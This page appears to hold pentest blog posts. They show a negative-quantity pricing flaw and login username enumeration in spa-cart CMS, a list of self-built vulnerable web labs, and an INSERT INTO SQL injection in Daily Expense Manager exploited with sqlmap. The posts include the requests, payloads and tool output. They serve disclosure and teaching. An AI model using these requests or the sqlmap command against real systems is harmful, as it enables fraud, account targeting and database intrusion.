Friday Fun Pentest Series - 5 - spa-cartcmsv1.9.0.6

Description

- It was found that the application suffers from business logic flaw

- Additionally the application is vulnerable to username enumeration on the login page

Logic Flaw

Steps to Reproduce:

1. Checkout page and intercept HTTP POST request
2. Add minus quantity such as -10
3. The final price would come up as negative value

// HTTP POST request modifying the quantity to negative value

POST /cart/add HTTP/2

Host: demo.spa-cart.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 

[...]

productid=225&amount=-10

// HTTP response

HTTP/2 200 OK

Server: nginx

[...]

[...]

<img src="https://demo.spa-cart.com/var/photo/product/234x200/225/695/1.jpg" alt="" /><b>Five And Two Jewelry Piper Gold-Plated Earrings</b> added to cart

<br /><br />

<strong class="added_price">Price: <span><span class="currency">$</span>59.00</span></strong>

<div class="added_options">

<b>Selected options:</b>

Qty: 1<br />

Color: silver gold<br />

</div>

[...]

// HTTP GET request to checkout

GET /checkout HTTP/2

Host: demo.spa-cart.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 

[...]

// HTTP response showing negative amount owned

HTTP/2 200 OK

Server: nginx

[...]

[...]

\t<td>silver gold<\/td>\r\n<\/tr>\r\n<\/table>\r\n <\/td>\r\n <td class=\"line\" nowrap align=\"right\">\r\n<span class=\"currency\">$<\/span>59.00 x -10 = <span class=\"currency\">$<\/span>-590.00 <\/td>\r\n<\/tr>\r\n<\/table>\r\n\r\n<br \/>\r\n<hr \/>\r\n<br \/>\r\n<div class=\"checkout-guest-mobile\">\r Subtotal: <span class=\"currency\">$<\/span>-590.00<br \/><br \/>\r\nYou cannot order below $10.00<\/div>","Checkout",null,"checkout",null]

[...]

Username Enumeration

Steps to Reproduce:

1. Register account
2. Enter valid account with wrong password
3. Trap HTTP request
4. Check that response for valid username has "P" message
5. Enter invalid account with wrong password
6. Check that response for invalid username has "E" message

// HTTP POST request with valid username and wrong password

POST /login HTTP/2

Host: demo.spa-cart.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36

[...]

email=test%40test.test&password=test123

// HTTP response showing "P" error message

HTTP/2 200 OK

Server: nginx

[...]

P

// HTTP POST request with invalid username and wrong password

POST /login HTTP/2

Host: demo.spa-cart.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36

[...]

email=test%40test.t3st&password=test123

// HTTP response showing "E" error message

HTTP/2 200 OK

Server: nginx

[...]

E

Web Labs Finished

I am proud to say that have finally completed my labs for most common web vulnerabilities. Coded most in PHP and some in Python. Have included Hint button to describe the vulnerability and its mitigation.

1. CORS and CSRF
• CORS Information Leakage
• CSRF Change Email Functionality
2. Directory Traversal
• Absolute Path Directory Traversal
• Relative Path Directory Traversal
3. XSS 
• Stored XSS
• Reflected XSS
• DOM Reflected XSS
• DOM Stored XSS
4. XXE
• OOB XXE
• XXE File Retrieval
5. SSTI
• Python Jinja2
6. IDOR
• Username Identifiers
7. SSRF
• SSRF to Internal AWS Instance Information Leakage

Sample Screenshots of the Labs

Friday Fun Pentest Series - 4 - Daily Expense Managerv1.0

 Description

- INSERT INTO SQL injection found in contact.php page

- SQLMap used to do automation

INSERT INTO SQL Injection

Steps to Reproduce:

1. Visit contact us page
2. Add word to e.g. "test" to "Message" parameter
3. Place single quote to trigger the SQL injection error
4. Automate the process using SQLMap

// HTTP POST request

POST /expensemanager/contact.php HTTP/1.1

Host: 192.168.166.128:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.58 Safari/537.36

[...]

Name=test&Email=test%40test.test&Subject=tesst&Message=test%27%0D%0A

// HTTP response

HTTP/1.1 200 OK

Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12

X-Powered-By: PHP/8.2.12

[...]

[...]

<br />

<b>Fatal error</b>:  Uncaught mysqli_sql_exception: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '')' at line 2 in C:\xampp\htdocs\expensemanager\contact.php:21

Stack trace:

#0 C:\xampp\htdocs\expensemanager\contact.php(21): mysqli_query(Object(mysqli), 'INSERT INTO fee...')

#1 {main}

  thrown in <b>C:\xampp\htdocs\expensemanager\contact.php</b> on line <b>21</b><br />

[...]

// SQLMap in action

sqlmap --dbms=mysql --threads 10 -r request.txt --level 5 --risk 3 --banner

[...]

[23:13:30] [INFO] testing MySQL

[23:13:30] [INFO] confirming MySQL

[23:13:30] [INFO] the back-end DBMS is MySQL

[23:13:30] [INFO] fetching banner

[23:13:30] [INFO] resumed: '10.4.32-MariaDB'

web application technology: Apache 2.4.58, PHP 8.2.12

back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)

banner: '10.4.32-MariaDB'

[...]

Conclusion

- Had lots of fun fuzzing the application

- Until next Friday!

- Cheers